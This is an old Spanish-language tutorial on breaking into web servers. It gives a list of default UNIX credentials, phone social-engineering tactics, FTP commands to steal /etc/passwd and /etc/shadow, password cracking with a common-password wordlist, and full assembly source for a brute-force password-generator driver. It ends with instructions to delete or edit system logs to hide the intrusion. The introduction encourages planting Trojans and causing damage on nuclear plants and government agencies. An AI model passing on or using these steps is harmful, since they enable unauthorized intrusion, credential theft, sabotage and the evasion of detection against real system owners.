Hackeando una web
1.
Introducción
Si
alguna vez has hechado a volar tu imaginación se te habrá
ocurrido que seria cómico remover algunas gráficas de algún
website, o mejor aun borrar toda la pagina de algún enemigo para
deleitarte con tu venganza. Pues bien este es el manual que te ayudara a
lograrlo.
Primero
deberás entender que andar por ahí borrando paginas es
*TONTO* e inmaduro. Lo que trato de hacer es que sientas la adrenalina de
entrar a un sistema al que no estés autorizado y
echar una ojeada alrededor. Si te dedicas a invadir sistemas
y borrar archivos le quitaras el privilegio a otra persona de
entrar a ese sistema ya que el operador se dará cuenta de la intrusión y
aumentaran la seguridad negando así la entrada a más 'intrusos'. Si el sistema
al que entraste pertenece a unos hijos de la chingada (Plantas Nucleares,
Creadores de abrigos de piel, Agencias de Gobierno etc.) olvida lo antes dicho
y haz que se arrepientan de haberse conectado a la red causando kaos o mejor
aun infectándolos con algún buen virus (por que no reemplazar un
ejecutable por un caballo de Troya?). En fin usa tu cabeza y cuida de no ser
sorprendido en tus viajes de kAoS.
2.
Websites
Un
website es solamente una computadora llamada servidor por su capacidad de
realizar diferentes tareas al mismo tiempo
ejecutando un sistema operativo que generalmente será UNIX o
algunas de sus variaciones y con toda la información guardada en algún medio.
2.1
Ganando acceso a un servidor WWW
Aquí
reside la magia del Hacker, la protección común son dos preguntas Login y
Password. El usuario que tenga una cuenta en ese servidor tiene un nombre
de usuario (Login) y contrase¤a (Password)
por lo que la entrada a ese servidor no tiene problemas; pero
para una persona ajena a ese servidor la entrada es un poco más complicada.
Para
poder penetrar el sistema necesitamos saber su URL y una vez conectados
con el explorador prestar atención al mensaje waiting reply from
103.38.28 o algo parecido que haga aparecer una dirección IP en lugar de
el nombre de dominio.
Si
lograste conseguir la dirección IP usa telnet para
conectarte a esa dirección. Si cuando
tratas de conectarte aparece el mensaje 'connection refused'
probablemente este protegida esa dirección con una
FIREWALL. Si este es el caso trata de hacer telnet a el nombre de dominio
con la finalidad de llegar a el frustrante LOGIN/PASSWORD.
Para
entrar necesitas conseguir alguna cuenta haciendo algo de
ingeniería social o intenta con los defaults.
* CUENTAS DEFAULTS DE UNIX *
Login:
Password:
root
root
root
system
sys
sys
sys
system
daemon
daemon
uucp
uucp
tty
tty
test
test
unix
unix
unix
test
bin
bin
adm
adm
adm
admin
admin
adm
admin
admin
sysman
sysman
sysman
sys
sysman
system
sysadmin
sysadmin
sysadmin
sys
sysadmin
system
sysadmin
admin
sysadmin
adm
who
who
learn
learn
uuhost
uuhost
guest
guest
host
host
nuucp
nuucp
rje
rje
games
games
games
player
sysop
sysop
root
sysop
demo
demo
Si
fracasas al intentar el acceso usando cada uno de los anteriores logins,
probablemente tengas que conseguir el password de otra manera como relaciones
humanas; esto significa que vas a tener que conseguir la clave valiéndote de
trucos como hablar por teléfono a una persona que sepas que esta
registrada en ese servidor y pedirle su Login y Password diciendo que necesitas
validar su cuenta o algo parecido. Otra manera de conseguir un Password es
crear un programa que robe las claves de acceso del disco duro de una
persona.
3.
Cuando se esta adentro
Una
vez que hayas logrado entrar a un sistema necesitaras localizar y obtener el
archivo passwd disponible en el directorio /etc.
Para
obtener el archivo PASSWD usa el siguiente ejemplo:
($
simboliza el prompt UNIX)
$ ftp
FTP get /etc/passwd
FTP quit
Para
ver el contenido de el archivo usa el siguiente comando:
$ cat
/etc/passwd
Una
vez que tengas en tu posesión el archivo PASSWD edítalo y fíjate en su
contenido, deberá tener la siguiente información:
usuario:contrase¤a:ID:Grupo:descripcion/nombre:directorio:shell
usuario
- Este es el login de algun usuario.
contrase¤a
- Es el password de el usuario (encriptada con DES)
ID
- Es la identificación de ese usuario.
grupo
- El grupo al que pertenece esta cuenta.
descripcion-
El nombre del usuario.
directorio
- El directorio de acceso de el usuario.
shell
- El shell que procesa los comandos de ese usuario.
Un
ejemplo podría ser:
john:234abc56:9999:13:John
Johnson:/home/dir/john:/bin/john
Nombre
de usuario: john
Password
encriptado: 234abc56
Usuario
numero: 9999
Numero
de grupo: 13
Descripcion:
John Johnson
Directorio
de acceso: /home/dir/john
Shell:
/bin/john
Si
el archivo que conseguiste contiene la misma información pero en el campo del
password tiene un asterisco (*) o cualquier otro carácter, significa que las
contrase¤as se encuentran 'sombreadas'.
Si
las contrase¤as se encuentra sombreada,las podrás encontrar en el
archivo shadow aunque generalmente no se puede tener acceso a ese archivo a
menos de tener root. Una forma de conseguir SHADOW es
usando el comando cp para copiarlo a otro archivo
y después tratar de obtener el archivo al que se copio, ejemplo:
$cp /etc/shadow
/usuarios/carlos/hack.txt
$ftp
FTP get
/usuarios/carlos/hack.txt
FTP quit
$rd
/usuarios/carlos/hack.txt
Ya
tengo los passwords encriptados, ahora que?
Los
passwords están encriptados usando one-way encription, significa que no
se pueden des-encriptar. Lo que Unix hace es obtener
la contrase¤a del usuario,la encripta y la compara con
la que ya esta encriptada, si coinciden entonces se le permite el acceso.
Para
poder obtener las contrase¤as es necesario tener un archivo con
palabras y usar un programa para que encripte las palabras del archivo y
las compare con las contrase¤as encriptadas,si coinciden te avisa
que palabra fue la que coincidió con la contrase¤a encriptada.
Algunos
programas de este tipo son:
Nombre
Palabras por Segundo Computadora
John the
Ripper
5077
586
Starcracker
1300
586
Cracker
Jack
1008
586
KillerCracker
350
586
Para
conseguir listas de palabras haz FTP a el siguiente servidor:
warwick.ac.uk
directorio:
/pub/cud
Algunas de las palabras mas usadas en
contraseñas son:
aaa
academia
ada adrian
aerobics
airplane
albany albatros
albert
alex
alexander algebra
alias
alisa
alpha alphabet
ama
amy
analog anchor
andy
andrea
animal answer
anything
arrow
arthur ass
asshole
athena
atmosphere bacchus
badass
bailey
banana bandit
banks
bass
batman beautiful
beauty
beaver
daniel danny
dave
deb
debbie deborah
december
desire
desperate develop
diet
digital
discovery disney
dog
drought
duncan easy
eatme
edges
edwin egghead
eileen
einstein
elephant elizabeth
ellen
emerald
engine engineer
enterprise
enzyme
euclid evelyn
extension
fairway
felicia fender
finite
format
god hello
idiot
jester
john johnny
joseph
joshua
judith juggle
julia
kathleen
kermit kernel
knight
lambda
larry lazarus
lee
leroy
lewis light
lisa louis
love lynne
mac
macintosh
mack maggot
martin
marty
marvin matt
master
maurice
maximum merlin
mets
michael
michelle mike
minimum
nicki
nicole rascal
really
rebecca
remote rick
reagan
robot
robotics rolex
ronald
rose
rosebud rosemary
roses
ruben
rules ruth
sal
saxon
scheme scott
secret
sensor
serenity sex
shark
sharon
shit shiva
shuttle
simon
simple singer
single
singing
smile smooch
smother
snatch
snoopy soap
socrates
spit
spring subway
success
summer
super support
surfer
suzanne
tangerine tape
target
taylor
telephone temptation
tiger
tigger
toggle tomato
toyota
trivial
unhappy unicorn
unknown
urchin
utility vicki
virginia
warren
water weenie
whatnot
whitney
will virgin
william winston
willie wizard
wonbat
yosemite
zap whatnow
Obtuve
algunas cuentas, ahora?
Para
poder hacer y deshacer en el servidor necesitas el
password de la cuenta root. Si después de intentar con algunas
listas de palabras no puedes necesitaras hacer un ataque en bruto,
es decir empezar desde la letra A hasta la palabra zzzzzzzz
El
siguiente programa necesita ser compilado usando TASM y es una lista de
palabras TSR que no ocupa espacio en disco y puede ser modificada, es
ideal para ataques brutos a la cuenta r00t_ (Programa Copiado de Phrack 47)
P A S S W O R D E N G I N
E (for IBM
PC's)
by Uncle Armpit
+++++++++++++++++++++++++++++++++++++++++++++
Que
tan practico es?
Este
programa no necesita mucho espacio en disco y puede crear listas de palabras de
gran tama¤o.
Con
el ejemplo proporcionado, passwords empezando en 'aaaaaaa' y terminando en
'zzzzzzz' serán generados.
Como
empiezo a usar esta lista de palabras?
Compila
el código y nómbralo "hackdrv.sys", después necesitas configurarlo
añadiendo la siguiente línea en CONFIG.SYS
device=c:\hackdrv.sys
Una
vez en memoria el programa creara la lista de variables en memoria llamada
HACKPWD. Cualquier programa que uses (excepto StarCracker) deberá reconocer
hackpwd como una lista de palabras y empezar a crackear.
Si
deseas reiniciar una sesión desde una combinación especifica solo modifica el
archivo HACKDRV.SYS con un editor HEXADECIMAL y modifica la cadena de caracteres
con los que empieza ;-0
;-----------------------cut
here--------------------------------
;Program HACKDRV.SYS
;
org 0h
next_dev dd -1
attribute dw
0c000h
;character device w/ ioctl calls
strategy dw dev_strategy
interrupt dw dev_int
dev_name db 'HACKPWD '
countr dw offset number
number db
'aaaaaa',0ah ;<---- 6
caracteres en minusculas (empiezo)
numsize equ $-number - 2
afternum:
;working space for device driver
rh_ofs dw ?
rh_seg dw ?
dev_strategy:
;strategy routine
mov cs:rh_seg,es
mov cs:rh_ofs,bx
retf
dev_int:
;interrupt routine
pushf
push ds
push es
push ax
push bx
push cx
push dx
push di
push si
cld
push cs
pop ds
mov bx,cs:rh_seg
mov es,bx
mov bx,cs:rh_ofs
mov al,es:[bx]+2
rol al,1
mov di,offset cmdtab
xor ah,ah
add di,ax
jmp word ptr[di]
cmdtab:
;command table
dw init ;0
dw exit3 ;1
dw exit3 ;2
dw ioctl_read ;3
dw do_read ;4
dw exit3 ;5
dw exit3 ;6
dw exit3 ;7
dw exit3 ;8
dw exit3 ;9
dw exit3 ;10
dw exit3 ;11
dw ioctl_write ;12
dw exit3 ;13
dw 5 dup (offset exit3)
ioctl_read:
push es
push bx
mov
si,es:[bx+10h]
mov
di,es:[bx+0eh]
mov es,si
push cs
pop ds
mov si,offset number
xor cx,cx
get_char:
lodsb
stosb
inc cl
cmp al,0ah
jz ioctl_rend
jmp get_char
ioctl_rend:
pop bx
pop es
mov es:[bx+012h],cx
mov cs:countr,offset number
jmp exit2
ioctl_write:
push es
push bx
mov si,es:[bx+010h]
mov ds,si
mov si,es:[bx+0eh]
mov
cx,numsize+1
;es:[bx+012h]
push cs
pop es
mov di,offset number
repe movsb
pop es
pop bx
mov cs:countr,offset number
jmp exit2
do_read:
push es
push bx
push cs
pop ds
mov si,[countr]
inc
si
;word ptr [countr]
cmp si,offset afternum
jnz is_okay
mov si,offset number
call inc_num
is_okay:
mov [countr],si
mov di,es:[bx]+0eh
mov ax,es:[bx]+010h
mov cx, es:[bx]+012h
jcxz clean_up
mov es,ax
repe movsb
clean_up:
pop bx
pop es
jmp exit2
exit3: mov es:word ptr 3[bx],08103h
jmp exit1
exit2:
mov es:word ptr 3[bx],0100h
exit1:
pop si
pop di
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
popf
retf
exit:
inc_num proc near
push si
mov si,numsize
reiterate:
inc byte ptr [number+si]
cmp byte ptr
[number+si],'z'+1 ;+1 past ending char. in range
jnz _exit
mov byte ptr
[number+si],'a' ;starting char. in range
dec si
cmp si,-1
jnz reiterate
mov byte ptr [number],01ah
;send EOF
_exit:
pop si
ret
inc_num endp
at_eof:
; the non-resident code starts here
initial proc near
push es
push cs
pop ds
push cs
pop es
mov si,offset number
mov di,offset tmpnum
cld
_again:
lodsb
cmp al,0ah
jz _nomorechars
stosb
jmp _again
_nomorechars:
mov si,offset msgend
mov cx,4
repe movsb
mov
ah,09
;print welcome message
mov dx,offset msg1
int 21h
pop es
ret
initial endp
init: call initial
mov ax,offset at_eof
mov es:[bx]+0eh,ax
push cs
pop ax
mov es:[bx]+010h,ax
mov cs:word ptr cmdtab,offset exit3
jmp exit2
msg1 db "Incremental Password
Generator (c)1995",0ah,0dh
db
"Written by Uncle Armpit",0ah,0dh,0ah,0dh
db
"Starting at word ["
tmpnum db 10 dup (?)
msgend db "]",0a,0d,'$'
;END hackdrv.sys
----------------------------------cut
here----------------------------------
Como
limpiar tus huellas
Si
deseas que tu ingreso con la cuenta r00t no quede registrado en los LOGS de el
servidor revisa los directorios buscando archivos como logs,
syslog, log, o cualquiera que parezca que guarda
un reporte de los accesos y bórralos o mejor aun
edítalos usando el editor de archivos de UNIX. Para ejecutar
el editor usa el comando vi
Edita
o borra los siguientes archivos: /etc/syslog
/etc/log
/etc/logs
Existen algunos scripts para borrar
las huellas como ZAP.
Monografías
